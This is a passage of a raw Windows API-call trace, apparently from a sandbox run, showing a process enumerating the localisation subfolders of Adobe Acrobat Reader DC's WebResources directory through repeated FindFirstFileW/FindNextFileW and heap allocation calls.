lpFindFileData=0x3f7e1a4) returned 1 [0286.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.444] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.444] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.444] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.444] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.444] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.444] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.444] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.444] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.444] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.445] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.445] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.445] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.445] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bce0 [0286.445] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.445] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.445] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.445] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.445] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.445] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bce0 [0286.446] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.446] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.446] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.446] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.446] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.446] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.446] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.446] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.446] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.446] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.446] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.447] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bce0 [0286.447] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.447] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.447] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.447] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.447] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.447] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.447] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.447] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.447] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.447] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.448] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.448] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.448] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.448] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.448] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.448] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.448] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.448] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bde0 [0286.448] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.448] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.449] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.449] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0286.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.449] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.449] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bce0 [0286.449] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.449] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.449] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.449] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.449] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.449] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bd60 [0286.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.450] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0286.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.450] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.450] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.450] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bd60 [0286.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.450] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0286.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.450] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.450] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.450] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.451] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.451] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.451] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.451] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.451] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.451] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.451] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.451] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.451] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.451] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.451] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.451] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.451] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.452] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.452] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.452] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.452] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.452] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.452] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.452] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.452] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.452] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.452] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.452] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.452] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.452] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.453] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.453] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.453] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.453] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.453] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.453] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.453] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.453] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.453] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.453] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.453] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.453] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.454] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.454] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.454] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.454] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.468] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.500] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bce0 [0286.500] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.500] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.500] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.500] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.500] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.500] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.500] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.500] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380be20 [0286.501] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.501] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.501] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.501] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0286.501] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.501] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.501] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.501] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.501] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.502] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.502] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.502] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.502] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.502] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.502] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.502] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.502] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.502] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.502] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.502] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.502] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.502] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.502] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.503] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.503] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.503] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.503] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.503] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.503] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.503] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.503] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.503] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.503] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.503] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.503] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.503] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.504] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.504] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.504] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.504] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bce0 [0286.504] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.504] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.504] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.504] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.504] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.504] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.504] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.504] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.504] FindNextFileW (in: hFindFile=0x380c2a0, 